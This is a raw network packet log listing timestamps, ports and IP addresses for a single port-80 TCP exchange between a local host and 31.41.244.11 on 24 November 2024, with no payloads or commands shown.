Nov 24, 2024 14:24:20.829946041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.829983950 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.830806017 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.830843925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.830856085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.830894947 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.831679106 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.831717968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.831768990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.831806898 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.832593918 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.832633972 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.832706928 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.832745075 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.833527088 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.833564997 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.833640099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.833676100 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.834477901 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.834522009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.834566116 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.834605932 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.835479975 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.835530043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.835613966 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.835652113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.836484909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.836527109 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.836549044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.836565018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.837543011 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.837580919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.837655067 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.837692976 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.838412046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.838453054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.838502884 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.838546038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.839144945 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.839190006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.839199066 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.839241028 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.840100050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.840145111 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.840173006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.840209961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.841048956 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.841092110 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.841101885 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.841142893 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.994043112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.994091988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.994236946 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.994281054 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.994429111 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.994477034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.994482994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.994543076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.995191097 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.995233059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.995302916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.995341063 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.996099949 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.996159077 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.996225119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.996264935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.997025967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.997072935 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.997142076 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.997185946 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.997936010 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.997987032 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.998049974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.998091936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.998862028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.998908043 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.998971939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.999016047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.999811888 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:20.999861956 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:20.999896049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.000025988 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.000777006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.000821114 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.000896931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.000941038 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.001701117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.001751900 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.001785994 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.001832962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.002660990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.002708912 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.002743006 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.002790928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.003547907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.003593922 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.003710985 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.003751040 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.004478931 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.004522085 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.004574060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.004615068 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.005691051 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.005734921 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.005805016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.005846024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.006840944 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.006891012 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.006926060 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.006968975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.007416964 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.007457018 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.007484913 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.007527113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.008522034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.008572102 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.008711100 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.008752108 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.009867907 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.009917021 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.009947062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.009993076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.010504961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.010551929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.010658026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.010705948 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.011142969 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.011193037 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.011224031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.011271000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.011960030 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.012002945 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.012089014 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.012131929 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.012883902 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.012927055 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.012996912 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.013241053 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.013870001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.013911009 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.013941050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.013983011 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.014749050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.014792919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.014848948 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.014888048 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.015687943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.015728951 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.015794039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.015835047 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.016648054 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.016685963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.016719103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.016784906 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.017920971 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.017963886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.018050909 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.018090963 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.019067049 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.019115925 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.019174099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.019213915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.019752026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.019793034 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.019797087 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.019834995 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.020359039 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.020402908 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.020467997 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.020503998 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.021327972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.021372080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.021481991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.021532059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.022243023 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.022291899 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.022356033 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.022392035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.023169041 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.023209095 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.023283958 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.023333073 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.024115086 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.024164915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.024225950 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.024269104 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.025032043 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.025079966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.025151968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.025190115 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.025966883 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.026012897 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.026081085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.026124954 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.026906967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.026947975 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.027049065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.027092934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.027995110 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.028040886 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.028067112 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.028156996 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.029257059 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.029300928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.029567003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.029609919 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.030092001 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.030138969 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.030141115 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.030169964 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.030648947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.030695915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.030764103 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.030811071 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.031603098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.031665087 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.031714916 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.031755924 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.032522917 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.032567024 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.032640934 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.032685041 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.033437967 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.033487082 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.033548117 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.033591986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.034384012 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.034426928 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.034465075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.034507036 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.035362959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.035403013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.035485983 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.035530090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.036329031 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.036374092 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.036417961 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.036462069 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.037246943 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.037290096 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.037322998 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.037364006 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.038134098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.038182974 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.038213968 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.038258076 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.039038897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.039083004 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.039141893 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.039196968 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.039983034 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.040030003 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.040100098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.040143013 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.040923119 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.040965080 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.041023016 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.041065931 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.041872025 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.041910887 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.041941881 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.041981936 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.042891026 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.042928934 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.195442915 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.195492029 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.195565939 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.195604086 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.195867062 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.195914984 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.196083069 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.196127892 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.196873903 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.196917057 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.196949959 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.196993113 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.197808981 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.197854042 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.197882891 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.197926044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.198657990 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.198704958 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.198765993 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.198807001 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.199601889 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.199647903 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.199712038 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.199755907 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.200617075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.200669050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.200692892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.200737000 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.201488972 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.201534986 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.201601028 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.201646090 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.202411890 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.202460051 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.202527046 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.202570915 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.203391075 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.203438044 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.203466892 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.203514099 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.204307079 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.204358101 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.204389095 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.204426050 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.205429077 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.205444098 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.205503941 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.206300974 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.206363916 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.206393003 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.206429005 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.207088947 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.207139015 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.207200050 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.207242966 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.208033085 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.208081961 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.208096027 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.208137035 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.208981991 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.209032059 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.209062099 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.209100962 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.209950924 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.209999084 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.210020065 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.210064888 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.210913897 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.210961103 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.210968018 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.211010933 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.211750984 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.211797953 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.211858988 CET	80	49778	31.41.244.11	192.168.2.4
Nov 24, 2024 14:24:21.211909056 CET	49778	80	192.168.2.4	31.41.244.11
Nov 24, 2024 14:24:21.212719917 CET	80	49778	31.41.244.11	192.168.2.4
